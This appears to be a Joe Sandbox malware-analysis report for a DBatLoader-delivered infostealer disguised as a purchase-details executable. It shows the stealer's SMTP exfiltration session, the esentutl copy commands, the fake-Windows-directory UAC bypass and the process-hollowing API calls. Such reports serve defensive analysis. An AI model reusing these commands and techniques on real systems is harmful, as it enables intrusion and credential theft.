2024-12-10 06:05:38 UTC	874	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 06:05:38 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 688161 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xb%2FBRmuWx7TOy6AMLgUxDqkdtamfZDxbkoRSY4HAWCXXvvi6AxJQcEWxcKxCkGAMMGg4kqkCwcVqY3gWatc0skv0SVnEAeivob186MCEMaptDCofOOWjyRGLVY%2BTo7Tt0l3TD0DZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efb0b5a1b3a42cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1725&min_rtt=1718&rtt_var=659&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1643218&cwnd=241&unsent_bytes=0&cid=3b81f69f6ce4e57f&ts=457&x=0"
2024-12-10 06:05:38 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Dec 10, 2024 07:05:48.390676022 CET	587	49725	103.20.200.105	192.168.2.9	220-cp-wc15.syd02.ds.network ESMTP Exim 4.96.2 #2 Tue, 10 Dec 2024 17:05:48 +1100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Dec 10, 2024 07:05:48.390891075 CET	49725	587	192.168.2.9	103.20.200.105	EHLO 172892
Dec 10, 2024 07:05:48.924350023 CET	587	49725	103.20.200.105	192.168.2.9	250-cp-wc15.syd02.ds.network Hello 172892 [8.46.123.228] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Dec 10, 2024 07:05:48.925425053 CET	49725	587	192.168.2.9	103.20.200.105	AUTH login aGVsbG9AdGhlbWF0bWFuLmNvbS5hdQ==
Dec 10, 2024 07:05:49.446821928 CET	587	49725	103.20.200.105	192.168.2.9	334 UGFzc3dvcmQ6
Dec 10, 2024 07:05:49.992284060 CET	587	49725	103.20.200.105	192.168.2.9	235 Authentication succeeded
Dec 10, 2024 07:05:49.992652893 CET	49725	587	192.168.2.9	103.20.200.105	MAIL FROM:<hello@thematman.com.au>
Dec 10, 2024 07:05:50.512968063 CET	587	49725	103.20.200.105	192.168.2.9	250 OK
Dec 10, 2024 07:05:50.513339043 CET	49725	587	192.168.2.9	103.20.200.105	RCPT TO:<joyal005@yahoo.com>
Dec 10, 2024 07:05:51.033073902 CET	587	49725	103.20.200.105	192.168.2.9	250 Accepted
Dec 10, 2024 07:05:51.033217907 CET	49725	587	192.168.2.9	103.20.200.105	DATA
Dec 10, 2024 07:05:51.553322077 CET	587	49725	103.20.200.105	192.168.2.9	354 Enter message, ending with "." on a line by itself
Dec 10, 2024 07:05:51.554318905 CET	49725	587	192.168.2.9	103.20.200.105	.
Dec 10, 2024 07:05:52.330883026 CET	587	49725	103.20.200.105	192.168.2.9	250 OK id=1tKtNX-007pEZ-0v

Target ID:	0
Start time:	01:05:17
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe"
Imagebase:	0x400000
File size:	1'264'128 bytes
MD5 hash:	CBEEA46A413D2F3D7166104D79788062
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.1430067996.000000007F9E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.1429580611.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:05:30
Start date:	10/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\ymafvvdS.cmd" "
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:05:30
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:05:31
Start date:	10/12/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Imagebase:	0x370000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:05:32
Start date:	10/12/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe /d C:\\Users\\Public\\Libraries\\Sdvvfamy.PIF /o
Imagebase:	0x370000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	01:05:32
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:05:32
Start date:	10/12/2024
Path:	C:\Users\Public\Libraries\ymafvvdS.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\ymafvvdS.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:05:34
Start date:	10/12/2024
Path:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Imagebase:	0x400000
File size:	1'290'240 bytes
MD5 hash:	BD3B960B1EFB321AF06FE54D1D30C855
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	01:05:35
Start date:	10/12/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
Imagebase:	0x370000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:05:36
Start date:	10/12/2024
Path:	C:\Windows\System32\alg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\alg.exe
Imagebase:	0x140000000
File size:	1'225'728 bytes
MD5 hash:	1F7F4AE415948A1027E513F2D23B8A5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	01:05:38
Start date:	10/12/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
Imagebase:	0x190000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:05:38
Start date:	10/12/2024
Path:	C:\Windows\System32\drivers\AppVStrm.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	138'056 bytes
MD5 hash:	BDA55F89B69757320BC125FF1CB53B26
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	01:05:38
Start date:	10/12/2024
Path:	C:\Windows\System32\drivers\AppvVemgr.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	174'408 bytes
MD5 hash:	E70EE9B57F8D771E2F4D6E6B535F6757
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	01:05:38
Start date:	10/12/2024
Path:	C:\Windows\System32\drivers\AppvVfs.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	154'952 bytes
MD5 hash:	2CBABD729D5E746B6BD8DC1B4B4DB1E1
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	01:05:38
Start date:	10/12/2024
Path:	C:\Windows\System32\AppVClient.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\AppVClient.exe
Imagebase:	0x140000000
File size:	1'348'608 bytes
MD5 hash:	500275C60FCB5B035FD81A2BA2CB2073
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:05:39
Start date:	10/12/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
Imagebase:	0x190000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:05:41
Start date:	10/12/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Imagebase:	0x190000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	01:05:41
Start date:	10/12/2024
Path:	C:\Users\Public\xpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Imagebase:	0x770000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	01:05:41
Start date:	10/12/2024
Path:	C:\Windows\System32\FXSSVC.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\fxssvc.exe
Imagebase:	0x140000000
File size:	1'242'624 bytes
MD5 hash:	3117CDDE7FDB0851FDBCA3E7FDB7A142
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:05:43
Start date:	10/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Imagebase:	0x140000000
File size:	2'354'176 bytes
MD5 hash:	6A2E9C13C2A578F9FC128F26D48FC3D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	01:05:44
Start date:	10/12/2024
Path:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Imagebase:	0x140000000
File size:	1'356'800 bytes
MD5 hash:	5AF7A965937863A10C99D5EC19A974A5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	01:05:45
Start date:	10/12/2024
Path:	C:\Windows\System32\msdtc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\msdtc.exe
Imagebase:	0x140000000
File size:	1'278'464 bytes
MD5 hash:	7AE7553BA674284A076D19A633F7EFF0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	01:05:46
Start date:	10/12/2024
Path:	C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe
Imagebase:	0x140000000
File size:	1'235'968 bytes
MD5 hash:	93CC0F7EAE7D58C22855106B435E4B64
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	01:05:47
Start date:	10/12/2024
Path:	C:\Windows\SysWOW64\perfhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWow64\perfhost.exe
Imagebase:	0x400000
File size:	1'150'976 bytes
MD5 hash:	B5FDD433E07825BDB9C6B8F563B00FDE
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	01:05:48
Start date:	10/12/2024
Path:	C:\Windows\System32\Locator.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\locator.exe
Imagebase:	0x140000000
File size:	1'141'248 bytes
MD5 hash:	979F07784823EB9149D134FBAB0B4376
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	01:05:50
Start date:	10/12/2024
Path:	C:\Windows\System32\SensorDataService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\SensorDataService.exe
Imagebase:	0x140000000
File size:	1'846'784 bytes
MD5 hash:	3F2AB6CB57E7A0604E4E19795A526BD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	01:05:50
Start date:	10/12/2024
Path:	C:\Windows\System32\snmptrap.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\snmptrap.exe
Imagebase:	0x140000000
File size:	1'146'880 bytes
MD5 hash:	9E84CEFC497519C8483A6623FAD6ED3D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	01:05:52
Start date:	10/12/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"
Imagebase:	0x190000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	01:05:52
Start date:	10/12/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64
Imagebase:	0x190000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	01:05:52
Start date:	10/12/2024
Path:	C:\Windows\System32\Spectrum.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\spectrum.exe
Imagebase:	0x140000000
File size:	1'455'616 bytes
MD5 hash:	07D3656AD4DF3DADDEDA88F101DE735C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	01:05:53
Start date:	10/12/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"
Imagebase:	0x190000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	01:05:54
Start date:	10/12/2024
Path:	C:\Windows\System32\OpenSSH\ssh-agent.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\OpenSSH\ssh-agent.exe
Imagebase:	0x140000000
File size:	1'511'424 bytes
MD5 hash:	A5F4C6CB650242AC4B9D281D7FB3AD95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	01:05:55
Start date:	10/12/2024
Path:	C:\Windows\System32\TieringEngineService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\TieringEngineService.exe
Imagebase:	0x140000000
File size:	1'455'616 bytes
MD5 hash:	ADFE5C8879C41AEA47D22E19AC1F0F44
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	01:05:56
Start date:	10/12/2024
Path:	C:\Windows\System32\AgentService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\AgentService.exe
Imagebase:	0x140000000
File size:	1'801'216 bytes
MD5 hash:	11EB7B63D45B07D2E9811E4D818A0174
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	01:05:56
Start date:	10/12/2024
Path:	C:\Windows\System32\vds.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\vds.exe
Imagebase:	0x140000000
File size:	1'303'552 bytes
MD5 hash:	680F459932662444F71FD678EBDF4171
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	16.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	30.2%
Total number of Nodes:	1642
Total number of Limit Nodes:	19

Executed Functions

Function 02B28D70 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654
threadnativeinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B289D0: FreeLibrary.KERNEL32(742B0000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,742B0000,00000000,00000000), ref: 02B28AAA

Part of subcall function 02B28788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02B28814

GetThreadContext.KERNEL32(00000920,02B97424,ScanString,02B973A8,02B2A93C,UacInitialize,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,UacInitialize,02B973A8), ref: 02B29602

Part of subcall function 02B28400: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B28471

Part of subcall function 02B28670: NtUnmapViewOfSection.NTDLL(?,?), ref: 02B286D5

Part of subcall function 02B27A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02B27A9F

Part of subcall function 02B27D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B27DEC

SetThreadContext.KERNEL32(00000920,02B97424,ScanBuffer,02B973A8,02B2A93C,ScanString,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,0000091C,002A4FF8,02B974FC,00000004,02B97500), ref: 02B2A317
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000920,00000000,00000920,02B97424,ScanBuffer,02B973A8,02B2A93C,ScanString,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,0000091C,002A4FF8,02B974FC), ref: 02B2A324

Part of subcall function 02B2894C: LoadLibraryW.KERNEL32(bcrypt,?,00000920,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,UacScan), ref: 02B28960
Part of subcall function 02B2894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B2897A
Part of subcall function 02B2894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000920,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize), ref: 02B289B6

Strings

advapi32, xrefs: 02B2A705
NtOpenObjectAuditAlarm, xrefs: 02B2A634, 02B2A6EC
SLGetLicenseInformation, xrefs: 02B2935F
NtOpenProcess, xrefs: 02B2A8A3
sppc, xrefs: 02B29376
BCryptRegisterProvider, xrefs: 02B2A59B
dbgcore, xrefs: 02B2A719, 02B2A72D
BCryptQueryProviderRegistration, xrefs: 02B2A587
UacScan, xrefs: 02B28E73, 02B2908B, 02B29687, 02B29A83, 02B29BF7, 02B2A3A1, 02B2A839
BCryptVerifySignature, xrefs: 02B2A573
bcrypt, xrefs: 02B2A578, 02B2A58C, 02B2A5A0
ScanString, xrefs: 02B28E02, 02B28FAD, 02B2915B, 02B29583, 02B29769, 02B298F0, 02B29D7D, 02B29F3B, 02B2A0AB, 02B2A21E, 02B2A509, 02B2A5B6
NtReadVirtualMemory, xrefs: 02B2A620
NtSetSecurityObject, xrefs: 02B2A88F
MiniDumpReadDumpStream, xrefs: 02B2A728
MiniDumpWriteDump, xrefs: 02B2A714
OpenSession, xrefs: 02B28DA9, 02B291CC, 02B2927E, 02B2A64F, 02B2A795
UacInitialize, xrefs: 02B29032, 02B29393, 02B29512, 02B29616, 02B29A12, 02B29B86, 02B2A330
ScanBuffer, xrefs: 02B28ECC, 02B28F54, 02B292EF, 02B29404, 02B294A1, 02B297DA, 02B29961, 02B29AF4, 02B29CD9, 02B29DEE, 02B29FAC, 02B2A11C, 02B2A28F, 02B2A483, 02B2A6A1, 02B2A7E7
ntdll, xrefs: 02B2A625, 02B2A639, 02B2A6F1, 02B2A894, 02B2A8A8
I_QueryTagInformation, xrefs: 02B2A700
Initialize, xrefs: 02B290EA, 02B296F8, 02B2987F, 02B29C68, 02B29ECA, 02B2A03A, 02B2A1AD, 02B2A412, 02B2A743

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: LibraryMemoryThreadVirtual$ContextFree$AddressAllocateCreateLoadProcProcessReadResumeSectionUnmapUserViewWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 2388221946-51457883
Opcode ID: 720860bb1234922ffa36ce8f489cf3a1d048504d3dea43fbd1c7f3f99b40de82
Instruction ID: d31b7ef75b706298cf3e94f47eca147920a51754cd1f8958eb4517a3c0f01932
Opcode Fuzzy Hash: 720860bb1234922ffa36ce8f489cf3a1d048504d3dea43fbd1c7f3f99b40de82
Instruction Fuzzy Hash: 30E2E175A502289FDB11FB64DD80BCE73BAAF85300F9041F1E149AB215DE30AE89DF56

Function 02B28D6E Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B289D0: FreeLibrary.KERNEL32(742B0000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,742B0000,00000000,00000000), ref: 02B28AAA

Part of subcall function 02B28788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02B28814

GetThreadContext.KERNEL32(00000920,02B97424,ScanString,02B973A8,02B2A93C,UacInitialize,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,UacInitialize,02B973A8), ref: 02B29602

Part of subcall function 02B28400: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B28471

Part of subcall function 02B28670: NtUnmapViewOfSection.NTDLL(?,?), ref: 02B286D5

Part of subcall function 02B27A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02B27A9F

Strings

advapi32, xrefs: 02B2A705
NtOpenObjectAuditAlarm, xrefs: 02B2A634, 02B2A6EC
SLGetLicenseInformation, xrefs: 02B2935F
NtOpenProcess, xrefs: 02B2A8A3
sppc, xrefs: 02B29376
BCryptRegisterProvider, xrefs: 02B2A59B
dbgcore, xrefs: 02B2A719, 02B2A72D
BCryptQueryProviderRegistration, xrefs: 02B2A587
UacScan, xrefs: 02B28E73, 02B2908B, 02B29687, 02B29A83, 02B29BF7, 02B2A3A1, 02B2A839
BCryptVerifySignature, xrefs: 02B2A573
bcrypt, xrefs: 02B2A578, 02B2A58C, 02B2A5A0
ScanString, xrefs: 02B28E02, 02B28FAD, 02B2915B, 02B29583, 02B29769, 02B298F0, 02B29D7D, 02B29F3B, 02B2A0AB, 02B2A21E, 02B2A509, 02B2A5B6
NtReadVirtualMemory, xrefs: 02B2A620
NtSetSecurityObject, xrefs: 02B2A88F
MiniDumpReadDumpStream, xrefs: 02B2A728
